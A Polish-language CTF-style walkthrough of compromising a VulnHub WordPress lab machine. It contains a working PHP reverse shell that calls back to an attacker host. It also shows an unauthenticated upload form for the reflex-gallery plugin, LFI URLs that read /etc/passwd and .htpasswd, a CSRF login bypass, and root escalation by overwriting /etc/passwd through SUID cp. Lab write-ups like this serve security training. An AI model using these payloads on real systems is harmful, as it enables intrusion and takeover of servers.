NMap
┌[parrot@parrot]─[~/Desktop]
└╼[★ ]$sudo nmap 192.168.2.136 -sC -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 02:46 CEST
Nmap scan report for 192.168.2.136
Host is up (0.046s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:22:84:FC (VMware)
Feroxbuster
┌[parrot@parrot]─[~/vulnhub]
└╼[★ ]$feroxbuster -w /usr/share/wordlists/dirb/common.txt -u http://192.168.2.136 -t 50 -d 1
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.136
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 1
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 9l 28w 278c http://192.168.2.136/.htaccess
403 9l 28w 278c http://192.168.2.136/.hta
403 9l 28w 278c http://192.168.2.136/.htpasswd
200 375l 964w 10918c http://192.168.2.136/index.html
301 9l 28w 319c http://192.168.2.136/javascript
200 1l 1w 13c http://192.168.2.136/info.php
403 9l 28w 278c http://192.168.2.136/server-status
301 9l 28w 318c http://192.168.2.136/wordpress
[####################] - 0s 4613/4613 0s found:8 errors:0
[####################] - 0s 4613/4613 11419/s http://192.168.2.136
Strona główna
Po szybkim rozpoznaniu okazało się, że faktycznie mamy Wordpressa 5.2.15
. Jeden ze znanych loginów to admin
, ponieważ wskazuje na to poniższy pierwszy post.
Zrobiłem research i odkryłem, że mamy tutaj podatność związaną z xml-rpc.php
. Znalazłem też ten pliczek w Feroxbusterze.
https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions
Wordpress
Ostatecznie ponownie wykonałem wpscan
.
wpscan --url http://192.168.2.136/wordpress -e ap --plugins-detection aggressive
Odkryłem kilka podatności w pluginach. Wykorzystałem nieautoryzowany upload pliku związany z pluginem reflex-gallery 3.1.3
. Utworzyłem index.html
a w nim umieściłem kod oraz stworzyłem serwer, aby załadować plik.
<form method="POST" action="http://192.168.2.136/wordpress/wp-content/plugins/reflex-gallery//admin/scripts/FileUploader/php.php?Year=2022&Month=07" enctype="multipart/form-data" >
<input type="file" name="qqfile"><br>
<input type="submit" name="Submit" value="Pwn!">
</form>
oraz revshell.php
czyli nasz reverse shell
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/8081 0>&1'")
?>
Nasłuchiwanie na porcie 8081
oraz uruchomienie linku 192.168.2.136/wordpress/wp-content/uploads/2022/07/revshell.php
dało połączenie.
www-data
Znalazłem dane w wp-config.php
raj:123
oraz interesujące pliki obok folderu Wordpressa.
notes.txt
You Need to ZIP Your Wayout
W folderze domowym użytkownika raj
znalazłem flag1.txt
.
aHR0cHM6Ly93d3cuaGFja2luZ2FydGljbGVzLmlu
Miałem problemy z uruchomieniem linpeas.sh
, ponieważ www-data
nie mogł nawet nadać uprawnien +x
, ale poradziłem sobie po prostu uploadując linpeas.sh
przez formularz.
SUID:
Pierwsze co rzuciło mi się w oczy to SUID w niebezpiecznych binary.
/bin/cp
/usr/bin/wget
Wpadłem na pomysł, że mogę to wykorzystać modyfikując plik /etc/passwd
zawierający dane o użytkownikach. Dodałem na lokalnej maszynie następującą linie.
pwned:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
Następnie dzięki SUID na cp
podmieniłem stary passwd na nowy.
Miałem problemy ze zmianą użytkownika, należało “ulepszyć” shell
/usr/bin/script -qc /bin/bash /dev/null
.
Teraz wystarczyło zmienić użytkownika na pwned:pass123
. I otrzymałem roota.
Inny sposób na wejście
wp-support-plus-responsive-ticket-system 7.1.3 - CSRF oraz LFI
wpscan
[+] wp-support-plus-responsive-ticket-system
| Location: http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| Readme: http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| [!] The version is out of date, the latest version is 9.1.2
| [!] Directory listing is enabled
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/, status: 200
|
| Version: 7.1.3 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
Ten sposób znalazłem jako pierwszy, ale brakowało mi maila.
https://security.szurek.pl/en/wp-support-plus-responsive-ticket-system-713-privilege-escalation/
https://www.exploit-db.com/exploits/40290
Mail oraz nazwe użytkownika można otrzymać właśnie przez LFI.
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
http://192.168.2.136/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/.htpasswd
. Teraz możemy wykorzystać problem w pluginie.
Stworzyłem plik index.html
, udostępniłem go serwerem http Pythona.
<form method="post" action="http://192.168.2.136/wordpress/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="aarti">
<input type="hidden" name="email" value="aarti@gmail.com">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Klikając login wykorzystujemy lukę w pluginie i jesteśmy zalogowani na użytkowniku aarti
.
aarti
nie ma praw administratora, ale sprawdzając jego profil dokładnie widzimy flagę oraz hasło roota.
Second Flag: 5DD1CC591CE1569A528E3BCF18CEEB5B
Zalogowałem się na admina. Wrzuciłem w template 404.php
reverse-shell-php
.
I w taki sposób uruchamiając stronę http://192.168.2.136/wordpress/wp-content/themes/twentysixteen/404.php
, która zawiera w sobie kod php oraz jednocześnie nasłuchując na porcie 9005, otrzymaliśmy shell jako www-data
.